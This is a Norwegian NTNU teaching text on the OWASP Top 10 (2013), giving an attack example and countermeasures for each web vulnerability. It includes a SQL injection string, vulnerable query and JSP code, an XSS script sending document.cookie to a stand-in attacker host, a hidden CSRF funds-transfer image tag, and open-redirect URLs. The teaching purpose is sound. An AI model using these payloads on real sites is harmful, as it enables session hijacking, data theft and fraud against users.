Institutt for datateknikk og informatikk, NTNU

Sikkerhet i Webapplikasjoner – OWASP Topp 10

Nils Tesdal

Innholdsfortegnelse

OWASP

The «OWASP Foundation» ble opprettet i 2001. Dette er en internasjonal, ikke-kommersiell, idealistisk organisasjon. Det er et åpent samfunn dedikert til å hjelpe organisasjoner til å utvikle og operere applikasjoner som er sikre.

De jobber blant annet med å identifisere sårbarheter i applikasjoner og publiserer med jevne mellomrom en liste over de 10 mest vanlige og alvorlige sårbarheter i applikasjoner.

http://www.owasp.org

OWASP Topp 10 for 2013

- A1 Injection
- A2 Broken Authentication and Session Management
- A3 Cross-Site Scripting (XSS)
- A4 Insecure Direct Object References
- A5 Security Misconfiguration
- A6 Sensitive Data Exposure
- A7 Missing Function Level Access Control
- A8 Cross-Site Request Forgery (CSRF)
- A9 Using Components with Known Vulnerabilities
- A10 Unvalidated Redirects and Forwards

A1 Injection

Injeksjon kan oppstå når en applikasjon bruker ikke-validert brukerinput i konstruksjon av spørringer mot databaser eller kommandoer til operativsystemet. Slike feil er vanlige, spesielt i eldre kode. Disse finner man ofte ved bruk av SQL, LDAP, Xpath eller NoSQL spørringer, i OS-kommandoer, XML-parsere, SMTP-headere mm.

For å finne ut om applikasjonen er sårbar må man finne ut om applikasjonen skiller brukerinput og annen data fra kommandoer og spørringer. Bygger applikasjonen opp spørringer og kommandoer selv ved bruk av strengkonkatenering? I så fall, er dataene som flettes inn «escapet» og validert?

Eksempel

Applikasjonen bruker brukerinput til å generere en SQL-spørring ved bruk av strengkonkatenering:

```
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") + "'";
```

Angriperen kan modifisere id-parameteren slik at den sender ' or '1'='1:

```
http://example.com/app/accountView?id=' or '1'='1
```

Dette endrer spørringen slik at den blir som følger:

```
"SELECT * FROM accounts WHERE custID='' or '1'='1'";
```

Da vil resultatet av spørringen bli slik at angriperen kan få se innholdet av alle kontoene lagret i databasen.

Mottiltak

- Bruk et trygt API som parametriserer input til spørringer. For SQL bruk PreparedStatement og sett input-parameterne med setString(), setInteger() osv.
- Hvis et slikt API ikke er tilgjengelig bør man «escape» alle parametere for å erstatte spesielle tegn med koder i henhold til syntaksen for gitt system.
- Valider også all input-data slik at bare gyldige verdier kan sendes inn. Dette vil fungere i mange men ikke alle tilfeller. Noen ganger ønsker man mer avansert input som er vanskelig å validere.

A2 Broken Authentication and Session Management

Utviklere bygger ofte rammeverk for autentisering og sesjonshåndtering selv, uten bruk av verktøy for dette. Det er vanskelig å bygge disse og de kan være vanskelig å feilsøke i siden hver implementasjon er unik.

Sårbarhetene kan være:

- Passord lagres i klartekst uten bruk av hashing eller kryptering.
- Passord kan overskrives gjennom svak konto-administrasjon (opprette konto, endre passord, innhente glemt passord).
- Sesjons-id eksponeres i URL (for eksempel ved «URL rewriting»).
- Sesjoner timer ikke ut eller andre sikkerhets-artefakter blir ikke deaktivert ved utlogging. Sesjons-id blir gjenbrukt.
- Passord, sesjons-id sendes over ukrypterte forbindelser. Se også A6.

Eksempel

Scenario #1: En applikasjon støtter URL rewriting og putter sesjons-id i URL'en:

```
http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?
dest=Hawaii
```

An autentisert bruker sender en link til en venn for å vise noe. Når vennen trykker på linken kan hun tilgang til for eksempel kredittkortkjøp.

Scenario #2: Sesjonen i en applikasjon timer ikke ut. I stedet for å logge ut lukker en bruker nettleseren-fanen og drar for dagen. Hvis en angriper senere kan aksessere samme nettleser kan hun også åpne nettsiden og fremdeles være autentisert.

Scenario #3: En ekstern eller mest sannsynlig intern angriper får tilgang til passorddatabasen. Passordene er ikke beskyttet og angriperen får tilgang til alle passordene i databasen.

Mottiltak

Ikke bygg rammeverk for autentisering og sesjonshåndtering selv. Bruk eksiterende rammeverk eller gode biblioteker. Vurder for eksempel å bygge på ESAPI Authenticator and User APIs.

A3 Cross-Site Scripting (XSS)

XSS er den mest vanlige sårbarheten i web-applikasjoner. Dette kan oppstå når en applikasjon viser frem data gitt av en bruker i en webside uten at dataen er validert eller «escapet». Angripere kan få mulighet til å eksekvere skript i en nettleser for å ta over sesjoner, omdirigere til ondsinnede sider osv.

Man er sårbar hvis man ikke forsikrer seg om at all input er «escapet», eller vi ikke sikrer oss at vi er trygg via validering av input før man viser frem brukerinput på en side.

Eksempel

En jsp-applikasjon viser brukerinput direkte uten å validere eller «escape»:

```
<%
    out.print("Hello, " + request.getParameter("user"));
%>
```

Inntrengeren modifiserer input-dataen slik at nettleseren blir sendt til inntrengerens nettside med innholdet av sesjons-id som parameter:

```
url?user=<script>document.location='http://www.attacker.com/cgi-
bin/cookie.cgi?foo='+document.cookie</script>
```

Parameteret må imidlertid URL-enkodes:

```
url?user=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fwww.attacke
r.com%2Fcgi-
bin%2Fcookie.cgi%3Ffoo%3D%27%2Bdocument.cookie%3C%2Fscript%3E
```

For å få til et angrep i praksis kan en inntrenger for eksempel sende en epost til et offer, med lenke med skjulte parametere til en den sårbare nettsiden. Hvis offeret allerede er pålogget på det sårbare nettstedet vil det injiserte skriptet kjøres og offeret blir videresendt til inntrengerens nettside med sesjons-id som parameter og inntrengeren kan ta over offerets sesjon på det sårbare nettstedet.

En annen metode for å få til dette i praksis er at angriperen lager en ondsinnet nettside som et offer blir lurt til å bruke og at denne nettsiden inneholder skjulte lenker i iframes eller for eksempel i en image-tag. I eksempelet under har attacker.com en lenke til den sårbare example.com. Når offeret kommer inn på siden som inneholder bildet, vil browseren sende en request til den sårbare example.com som blir lurt til å sende request'en tilbake til attacker.com med sesjons-id for example.com. Dette forutsetter også at offeret er pålogget example.com for at det skal virke.

```
<img
src="http://example.com?user=%3Cscript%3Edocument.location%3D%27http
%3A%2F%2Fwww.attacker.com%2Fcgi-
bin%2Fcookie.cgi%3Ffoo%3D%27%2Bdocument.cookie%3C%2Fscript%3E"
width="0" height="0" />
```

Mottiltak

- «Escape» brukerinput. Se OWASP XSS Prevention Cheat Sheet for detaljer.
- Validere brukerinput. Ikke tillat mer avansert input enn nødvendig. For vanlig input-data som navn, adresser og telefonnummer er god validering nok for å hindre XSS.
- Ved bruk av cookies bør attributten httpOnly settes til «true». For nettlesere som støtter dette vil da innholdet av cookien ikke bli tilgjengelig for javascript.

A4 Insecure Direct Object References

Applikasjoner bruker ofte det reelle navnet eller nøkkelen til et objekt når man adresserer web-sider, for eksempel http://host/app/konto?kontoid=123, og verifiserer ikke alltid at brukeren er autorisert for aksess til dette objektet.

For å finne ut som en applikasjon er sårbar må vi verifisere at alle objektreferanser har tilstrekkelig beskyttelse. Hvis objektreferansen er direkte må vi sjekke at brukeren har rettigheter til å aksessere akkurat denne ressursen. Hvis referansen er indirekte, bør vi teste at den direkte referansen likevel ikke virker.

Kodegjennomgang og testing er nyttige verktøy for å avdekke dette. Denne sårbarheten er enkel å teste ved å manipulere url'en.

Eksempel

Hvis vi for eksempel aksesserer vår egen brukerkonto i en webapplikasjon etter å ha logget på gjør vi det kanskje med en url som dette: http://host/app/konto?kontoid=123

Da er det vesentlig å passe på at det det er den påloggede brukeren som eier konto 123. Dette er opplagt men kan være lett å glemme. Derfor den høye plasseringen på lista.

Mottiltak

- **Bruk indirekte objektreferanser**. I stedet for å bruke en databasenøkkel direkte kan man bruke en indirekte referanse som kun gjelder i nåværende sesjon. Man kan for eksempel lagre en liste over ressurser den påloggede brukeren har tilgang til i sesjonen, og kun bruke indeksen som nøkkel i referansene. Da må applikasjonen gjøre en mapping tilbake til den direkte referansen ved bruk.

- **Sjekk aksess**. For hver bruk av en direkte objektreferanse må man sjekke at brukeren er autorisert for å se dette objektet.

A5 Security Misconfiguration

Feilkonfigurasjon kan skje på mange nivåer i applikasjonsstakken, i operativsystemet, web-serveren, databasen og i selve applikasjonen. Utviklere og systemadministratorer må jobbe sammen for å sjekke at alt dette er på plass.

- Er noen del av programvaren utdatert? OS, web-server, database eller noen av bibliotekene i applikasjonen. Gamle versjoner kan ha kjente sikkerhetshull.
- Er noen unødvendige funksjoner tilgjengelig? Websider, åpne porter, tjenester, testbrukere.
- Er default-kontoer og passord fremdeles aktive?
- Viser feilhåndtering frem stacktrace'er eller andre ting som viser for mye informasjon?
- Er sikkerhetskonfigurasjonen i alle rammeverk og biblioteker (Spring osv) satt

Eksempel

Scenario #1: Applikasjonsserverens eller webserverens admin-konsoll blir automatisk installert og default-konto og passord blir ikke endret. Angriperen finner disse siden de har faste adresser og tar over kontrollen.

Scenario #2: Kataloglisting (i ISS) er ikke slått av. En angriper kan finne og laste ned alle java-klasser, dekompilere klassene og finne eventuelle sikkerhetshull i koden.

Scenario #3: Applikasjonen viser frem stack-trace i feilsiden som viser underliggende svakheter. Angripere er veldig glad i slik ekstra informasjon.

Scenario #4: Applikasjonsserver eller webserver installeres med eksempelapplikasjoner som ikke blir fjernet. Disse kan inneholde sikkerhetshull som angripere kjenner til.

Mottiltak

- Automatiser installasjon av nye miljøer for å fjerne muligheten for manuelle feil. Installasjonen må sikre at man bruker forskjellige passord i forskjellige miljøer med ulik sikkerhetsnivå.
- Ha en god prosess som sikrer at man bruker nye versjoner av programvare.
- Ha en god applikasjonsarkitektur som skiller tydelig mellom komponenter.
- Vurder periodiske sikkerhetsgjennomganger.

A6 Sensitive Data Exposure

En vanlig feil er å ikke kryptere sensitive data. Hvis man krypterer data kan man likevel være sårbar hvis man bruker svake krypteringsalgoritmer eller svake nøkler. Et annet problem kan være nøkkeladministrasjon. Har man kryptert noe trenger man å ta vare på nøkkelen for senere dekryptering. Det er viktig at nøklene ikke blir kompromittert og at de lagres trygt.

Et vanlig problem er at passord lagres i klartekst i databaser. Et minstekrav er hashing, men hashing må også gjøres ordentlig ved å bruke «salting», se Password Storage Cheat Sheet. Hvis en angriper får tak i en liste med usaltede, hashede passord, kan disse eksponeres ved bruk av en regnbuetabell.

Man må alltid finne ut hvilke data i en applikasjon som er sensitive. Dette kan være passord, kredittkortnumre, fødselsnumre, helseopplysninger, finansielle opplysninger osv.

Mottiltak

- Krypter all sensitiv data som lagres over tid i databaser eller loggfiler.
- Krypter all sensitiv data som sendes over nettet. Bruk SSL.
- Unngå alltid sensitive data i url'er.
- Ikke lagre sensitiv data over tid uten at du trenger det. Da kan det heller ikke stjeles.
- Krypter data med nye og sterke krypteringsalgoritmer og lange nok nøkler.
- Deaktiver autocomplete på HTML-skjema som samler sensitive data og deaktiver caching for sider som viser sensitive data.

A7 Missing Function Level Access Control

Applikasjoner beskytter ikke alltid funksjoner i systemet ordentlig. Beskyttelse er ofte konfigurert og da kan det være feilkonfigurert. Noen ganger må koden inneholde autorisasjonssjekker men utviklerne glemmer å inkludere disse.

Disse sårbarhetene er lette å oppdage. Det som er vanskelig er ofte å få oversikten over hvilke funksjoner som trenger beskyttelse.

Den beste måten å finne ut om applikasjonen er sårbar er å verifisere alle funksjonene i systemet.

- Viser brukergrensesnittet linker til uautoriserte funksjoner?
- Mangler det autentisering og autorisasjonssjekker på serversiden?
- Er sjekkene på serversiden kun basert på informasjon gitt av brukeren (angriperen)?

Dette kan testes ved å gå igjennom applikasjonen i forskjellige roller og verifisere at systemet responderer forskjellig.

Man kan også sjekke autorisasjon ved kodegjennomgang.

Eksempel

Scenario #1: Angriperen prøver å få tilgang til nettsider ved å skrive adressene i nettleseren. Den første siden krever autentisering, mens den andre også krever admin-tilgang.

```
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
```

Hvis en ikke-autentisert bruker kan aksessere noen av dem er applikasjonene sårbar. Hvis en autentisert bruker uten admin-tilgang får tilgang til den andre er applikasjonen også sårbar.

Scenario #2: En side bruker en action-parameter for å spesifisere hvilken funksjon som skal utføres. Forskjellige funksjoner krever forskjellige roller. Hvis dette ikke blir overholdt er applikasjonen sårbar.

Mottiltak

- Lag mekanismen for autorisasjon konfigurerbar og lett å oppdatere. Ikke bruk hardkoding.
- Mekanismen som gir tilganger bør i utgangspunktet nekte all tilgang og spesifikt gi tilganger til gitte roller.
- Det er ikke nok å ikke vise linker til funksjoner man ikke er autorisert for på klientsiden, man må også implementere sjekker i forretningsfunksjonaliteten.

A8 Cross-Site Request Forgery (CSRF)

En applikasjon tillater en bruker å sende tilstandsendrende request'er på denne måten:

```
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
```

En angriper konstruerer en URL som vil overføre penger fra offerets konto til angriperens konto. En slik URL kan gjemmes inne i en ondsinnet nettsted kontrollert av angriperen, for eksempel i en image-request :

```
<img src="http://example.com/app/transferFunds?amount=1500&
destinationAccount=attackersAcct#" width="0" height="0" />
```

Hvis offeret besøker denne ondsinnede nettsiden mens de samtidig er pålogget på example.com, vil den skjulte request'en kjøres og pengene vil bli overført.

Mottiltak

For å hindre CSRF-angrep kan man bruke en uforutsigbar kode (CSRF-token) enten i body'en på en request eller i url'en på hver request. Disse må være unik per sesjon men aller helst unik per request.

```
<input type="hidden" name="CSRFToken"
value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYj==">
```

Siden det bare er applikasjonen som kjenner verdien av denne koden, kan ingen andre klare å forfalske en request.

A9 Using Components with Known Vulnerabilities

Dette er et vanlig problem fordi utviklingsteam sjelden har fokus på å sikre at man bruker oppdaterte biblioteker. Mange vet ikke engang hvilke biblioteker som brukes siden mange avhengigheter er implisitte. Hvis man bruker maven for bygging og inkluderer ett bibliotek har dette biblioteket avhengigheter selv som også blir lastet ned.

Man bør derfor gjennomgå bruk av biblioteker med jevne mellomrom og oppdatere til nyere versjoner. Etter oppdagelsen av «heartbeat»-buggen i OpenSSL ble det for eksempel kritisk for mange organisasjoner å oppdatere versjonen så fort som overhodet mulig.

Se også A5.

A10 Unvalidated Redirects and Forwards

Applikasjoner sender ofte nettleseren videre fra en url til en annen ved bruk av redirect eller forward. Hvis destinasjonen er basert på ikke-validert brukerdata vil an angriper kunne konstruere en url som sender nettleseren til en ekstern ondsinnet side, som installerer malware eller får brukeren til å skrive inn passord eller lignende fordi brukeren tror han er på en trygg side (phishing).

Eksempel

Scenario #1: Applikasjonen har en side "redirect.jsp" som tar en enkelt parameter kalt "url". Angriperen erstatter url'en med en lenke til en ondsinnet side.

```
http://www.example.com/redirect.jsp?url=evil.com
```

Scenario #2: En applikasjon bruker en forward-mekansime for å rute brukeren mellom forskjellige deler av en nettside. Noen sider bruker en parameter som angir hvor man skal sendes hvis en transaksjon er vellykket. I dette tilfellet konstruerer angriperen en url som sender henne til administrasjonssiden som hun egentlig ikke er autorisert for.

```
http://www.example.com/boring.jsp?fwd=admin.jsp
```

Mottiltak

- Unngå å bruke redirect og forward på denne måten.
- Hvis man må bruke de, ikke la de være avhengig av brukerstyrte data. Bruk heller en intern mapping slik at de reelle destinasjonen er lagret i sesjonen.
- Hvis man ikke kan unngå de heller må man verifisere at påloggede bruker har tilgang til angitte destinasjon.